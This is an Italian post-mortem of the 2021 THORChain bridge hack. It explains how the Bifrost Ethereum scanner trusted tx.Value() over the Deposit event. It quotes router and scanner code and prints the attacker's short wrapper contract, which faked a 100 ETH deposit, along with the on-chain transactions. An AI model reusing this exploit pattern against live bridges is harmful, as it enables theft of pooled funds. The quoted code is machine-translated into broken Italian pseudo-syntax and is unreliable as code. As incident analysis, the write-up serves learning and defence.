Indirizzi relativi a questo attacco:

  • THORChain Sfruttatore 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • Contratto sfruttatore THORChain: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • Router THORChain (vittima): 0xC145990E84155416144C532E31f89B840Ca8c2cE

All'inizio volevo fare riferimento all'articolo su https://rekt.news/thorchain-rekt/ ma mi sono reso conto che stavano citando prove sbagliate e l'articolo era piuttosto sommario, quindi ho deciso di scoprirlo da solo.

Architettura del ponte di Thorchain

Nell'universo delle criptovalute ci sono molte catene, su ciascuna catena ci sono innumerevoli tipi diversi di monete. Sin dall'inizio dei tempi, le persone hanno sognato di spostare facilmente le monete da una catena all'altra.

Sono stati molti i Bridge nati con il compito di connettere catene tra loro come Anyswap, Binance Bridge,.. la maggior parte di questi Bridge sono costruiti secondo l'architettura lock liquidity ad entrambe le estremità, i Validatori avranno il compito di ascoltare gli eventi o gestire i lock delle transazioni nella catena di origine e si sblocca nella catena di destinazione. Operano in un modo di blocco e sblocco quasi istantaneo, senza altre transazioni derivate sui validatori.

Cosa c'è di speciale nell'architettura del ponte di Thorchain?

image.png

Come suggerisce il nome Thorchain, questo ponte è in realtà una catena costruita da Cosmos-sdk. Cosmos-sdk è così famoso nell'universo delle criptovalute, con il vantaggio di definire facilmente catene, monete nella catena e logica di transazione delle monete, che il gigante Binance si è affidato alla costruzione dell'exchange. Ed è stato Cosmos-sdk a gettare le basi per l’ideologia IBC (Inter Blockchain Communication) che può essere considerata la prima cross-chain.

Comprendendo ciò, Thor scelse Cosmos-sdk come materiale principale per il suo Bridge.

In Thorchain, i nodi sono liberi di partecipare alla catena versando un certo importo di deposito, che verrà restituito quando il nodo lascerà. I nodi saranno responsabili dell'ascolto dei blocchi da catene esterne (attualmente inclusi Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin) quindi elaborarli, salvando le informazioni ottenute dai blocchi in Thorchain (livello Bifrost), è facile per vedere che i nodi in Thorchain saranno d'accordo tra loro utilizzando l'IBC di Cosmos-sdk stesso.

In Thorchain, la moneta nativa è RUNE, che viene utilizzata per calcolare le commissioni sulle transazioni di swap e il gas.

Quindi, come parteciperanno gli utenti a Thorchain?

Ad esempio, se un utente su Ethereum desidera depositare denaro su Thorchain, chiamerà tramite l'interfaccia di Thorchain la funzione deposit() sul contratto intelligente THORChain_Router che Thor ha implementato.

// Deposita una risorsa con un promemoria. L'ETH viene inoltrato, l'ERC-20 rimane nella funzione ROUTER deposito (indirizzo deposito fornitori, indirizzo risorsa, importo uint, promemoria stringa di memoria) pubblico pagabile nonReentrant{ uint safeAmount; if(risorsa == indirizzo(0)){ importosicurezza = msg.valore; (bool success,) = vault.call{value:safeAmount}(""); richiedere(successo); } else if(asset == RUNE) { importosafe = importo; iRUNE(RUNE).transferTo(indirizzo(questo), importo); iERC20(RUNA).burn(importo); } else { importosafe = safeTransferFrom(asset, importo); // Trasferisci asset vaultAllowance[vault][asset] += safeAmount; // Credito al caveau scelto } emit Deposit(vault, asset, safeAmount, memo); }

Ecco i parametri:

  • vault: è un indirizzo di portafoglio nell'elenco degli indirizzi che consentono agli utenti di depositare denaro. Secondo la documentazione di Thorchain, con 100 nodi ci saranno circa 3 Vault utilizzati per i depositi, mentre il Vault per i prelievi degli utenti avrà 100 Vault, il che significa che ogni nodo avrà il proprio Vault per i prelievi.

  • asset: indirizzo della moneta, se la moneta è ETH allora questo valore è indirizzo(0).

  • importo: quantità

  • memo: avrà il formato SWAP:ETH.ETH:RECEIVER_ADDRESS o SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Questo memo ha lo scopo di mostrare che l'obiettivo dell'utente è scambiare quale moneta con quale moneta e l'indirizzo di ricezione è Quale indirizzo su quale catena?

I nodi Thorchain ascolteranno continuamente i blocchi su Ethereum ed elaboreranno le transazioni al loro interno. Il nodo determinerà il tipo di transazione in base al meme nella transazione deposit(), può essere aggiunta liquidità o scambio (può scambiare con catena o crosschain), quindi Thorchain ha creato 2 tipi di utenti:

  • Fornitore di liquidità: questo utente fornirà liquidità al pool e riceverà commissioni dalle transazioni di swap, le informazioni di questi pool verranno salvate su Thorchain

  • Utenti abituali: eseguono lo scambio e perdono la commissione, chiamano la funzione di deposito con il promemoria corrispondente sullo smart contract, i nodi elaboreranno e convalideranno la transazione e salveranno le informazioni su Thorchain, quindi chiameranno la funzione transferOut() per inviare la token di output all'indirizzo del destinatario nella catena corrispondente.

Funzione TransferOut:

// Eventuali chiamate al caveau per trasferire qualsiasi risorsa a qualsiasi destinatario. funzione trasferimentoOut(indirizzo pagabile a, indirizzo risorsa, importo uint, promemoria stringa memoria) pubblico pagabile nonReentrant { uint importosicuro; bool successo; if(risorsa == indirizzo(0)){ importosicurezza = msg.valore; (successo,) = to.call{valore:msg.valore}(""); // Invia ETH } else { vaultAllowance[msg.sender][asset] -= importo; // Riduci l'indennità (successo,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, amount)); importo sicuro = importo; } richiedono(successo); emettere TransferOut(msg.sender, a, asset, safeAmount, memo); }

Dov'è il buco?

La risposta è che si trova nel livello Bifrost del nodo, più specificamente nel modulo Ethereum Block Scanner del nodo.

Ok, ora terremo traccia dei commit di Thorchain su gitlab nel loro repo thornode.

Hanno un commit impostato come Risolvi "[BUG] Fix ETH chain attack" con hash di eab0715650919a1f1ba525011423e71b53ffb27b, quindi ci concentreremo su questo commit, in particolare sul file bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go.

Vediamo che hanno apportato alcune importanti modifiche alla funzione getTxInFromSmartContract() intorno alla riga 854 fino a https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c1c204 8cb_854_854, molto probabilmente la vulnerabilità si trova in questo.

Diamo un'occhiata al codice di questa funzione prima che il commit Risolvi "[BUG] Correggi attacco catena ETH" sia unito.

// getTxInFromSmartContract restituisce txInItem func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, ricevuta etypes.Receipt) (stypes.TxInItem, errore) { e.logger.Debug().Msg("parse tx dal contratto intelligente") txInItem : = &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sender, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("fail per ottenere il mittente: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 è lo stato di successo della transazione se ricevuta.Status != 1 { e.logger.Info().Msgf( "tx(%s) state: %d significa fallito, ignora", tx.Hash().String(), ricevuta.Status) return nil, nil } for , item := range ricevuta.Logs { switch item.Topics[ 0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("impossibile analizzare l'evento deposito: %w", err) } e .logger.Info().Msgf("deposit:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo asset, err := e.getAssetFromTokenAddress(depositEvt.Asset. String()) if err != nil { return nil, fmt.Errorf("impossibile ottenere la risorsa dall'indirizzo del token: %w", err) } if asset.IsEmpty() { return nil, nil } decimali := e. getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimals:%d", depositEvt.Asset, decimals) txInItem.Coins = append(txInItem.Coins, common. NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimali)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil , fmt.Errorf("impossibile analizzare l'evento di trasferimento in uscita: %w", errore) } e.logger.Info().Msgf("trasferimento in uscita: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String () txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo asset, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf( "impossibile ottenere la risorsa dall'indirizzo del token: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimali)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("impossibile analizzare l'evento di indennità di trasferimento: %w", err) } e.logger.Info().Msgf("trasferimento indennità: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo asset, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset .String()) if err != nil { return nil, fmt.Errorf("impossibile ottenere la risorsa dall'indirizzo del token: %w", err) } if asset.IsEmpty() { return nil, nil } decimali := e .getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimali)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("impossibile analizzare l'evento di trasferimento del vault: %w", err) } e.logger.Info() .Msgf("trasferimento vault: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo for , item := range transferEvent .Coins { asset, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("impossibile ottenere l'asset dall'indirizzo del token: %w", err) } if asset.IsEmpty() { return nil, nil } decimali := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset. String(), item.Amount)).WithDecimals(decimals)) } } } // è importante mantenere questa parte fuori dal ciclo precedente, come quando eseguiamo l'aggiornamento del router, che potrebbe generare più eventi di deposito, insieme a tx che ha valore eth al suo interno ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero () { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, prezzo del gas: %s, gas utilizzato : %d, stato ricevuta:%d", txInItem.Tx, tx.GasPrice().String(), ricevuta.GasUsed, ricevuta.Status) // in nessuna circostanza il prezzo del gas ETH sarà inferiore a 1 Gwei, a meno che non è nell'ambiente di sviluppo txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, ricevuta.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("non ci sono monete in questo tx, ignore, %+v", txInItem) return nil, nil } e.logger.Debug(). Msgf("tx nell'elemento: %+v", txInItem) restituisce txInItem, nil }

Questa funzione è responsabile di verificare se il txn ha avuto successo o meno. In tal caso, elaborerà gli eventi emessi da quel txn per sapere quale moneta l'utente vuole scambiare con quale moneta (può essere la stessa catena o una catena diversa). ) l'output di questa funzione verrà salvato dal nodo e trasmesso a Thorchain, quindi i nodi invieranno monete all'indirizzo ricevente per considerare il completamento dello scambio.

Nota nel caso depositEvent: questo è il caso gestito quando il nodo dell'evento è l'evento Deposit(indirizzo indicizzato a, indirizzo asset indicizzato, importo uint, memo stringa) del contratto THORChain_Router. Determinerà la moneta in ingresso, la quantità, il promemoria, quindi in base al promemoria per determinare la moneta in uscita, l'indirizzo di ricezione desiderato dall'utente.

Uscendo dal ciclo for, ha un handle dedicato al deposito della moneta nativa ETH:

// è importante mantenere questa parte fuori dal ciclo precedente, come quando eseguiamo l'aggiornamento del router, che potrebbe generare più eventi di deposito, insieme a tx che contiene il valore eth ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append (txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

Questo è il difetto, sebbene sopra le informazioni sulla moneta e sulla quantità siano state ottenute analizzando l'evento Deposito, qui continuiamo ad analizzare tx.Value(), che ha creato la possibilità di sovrascrivere le informazioni ottenute in precedenza.

Gli hacker se ne sono accorti e hanno creato uno smart contract per attaccare, la logica è molto semplice, avvolge THORChain_Router come segue:

// Identificatore di licenza SPDX: solidità del pragma SENZA LICENZA 0.8.3; interfaccia IRouter { funzione deposito (indirizzo deposito pagamenti, indirizzo risorsa, importo uint256, stringa memoria promemoria) debito esterno; } contratto Attacco { funzione attacco (indirizzo router, indirizzo deposito pagamenti, stringa memoria promemoria ) pagamento esterno { IRouter(router).deposito{valore: 0}(vault, indirizzo(0), 0, promemoria); pagabile(msg.sender).transfer(msg.value); } }

Ad esempio, Hacker chiamerà la funzione di attacco con un determinato vault valido di Thorchain, il memo potrebbe essere "SWAP:ETH.ETH" e msg.value è 100 ETH, dopo aver chiamato 100 ETH è ancora suo, ma all'interno dell'attacco si chiama deposit( ) di THORChain_Router.

Combinando questo contratto intelligente con la funzione getTxInFromSmartContract() del nodo sopra, l'hacker ha facilmente ingannato il nodo facendogli credere di voler scambiare 100 ETH con una determinata moneta, anche se non aveva depositato alcun ETH.

Ecco la cronologia txn dell'hacker su Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

Prendi ad esempio questo txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (blocco 12833255). L'hacker ha attaccato con 100ETH, insieme al vault 0xf56cba49337a624e94042e325ad6bc864436e370, promemoria "SWAP:ETH.ETH".

image.pngPossiamo facilmente vedere l'evento emesso da THORChain_Router:image.png

Sebbene l'importo dell'evento Deposit sia 0, tx.Value() è 100.265 ETH. Pertanto il nodo ha pensato che qualcuno volesse scambiare 100 ETH con 100 ETH =))).

Questo è tutto, l'hacker deve solo aspettare che arrivino 100ETH nel suo portafoglio, la transazione che il nodo transferOut() 100 ETH all'hacker è qui è https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

Gli hacker hanno ripetuto l'operazione più volte per rubare ETH e altri token ERC20 dalla pool, per un valore stimato di circa 5 milioni di dollari.

Attualmente, Thor ha corretto il suo Thorchain, ma lo scambio è stato sospeso per verificare altre possibili vulnerabilità.

Defi è sempre una terra fertile per startup e hacker, più modelli nascono significa anche più vulnerabilità possono apparire, causando perdite fino a milioni di dollari. Ma qualsiasi cosa prima di raggiungere la perfezione deve passare attraverso molte sofferenze, superarla significa che la tecnologia sta migliorando sempre di più.

L'articolo è del 2021 ma le lezioni sono ancora valide, grazie @trinhvantan per aver pubblicato articoli preziosi per la comunità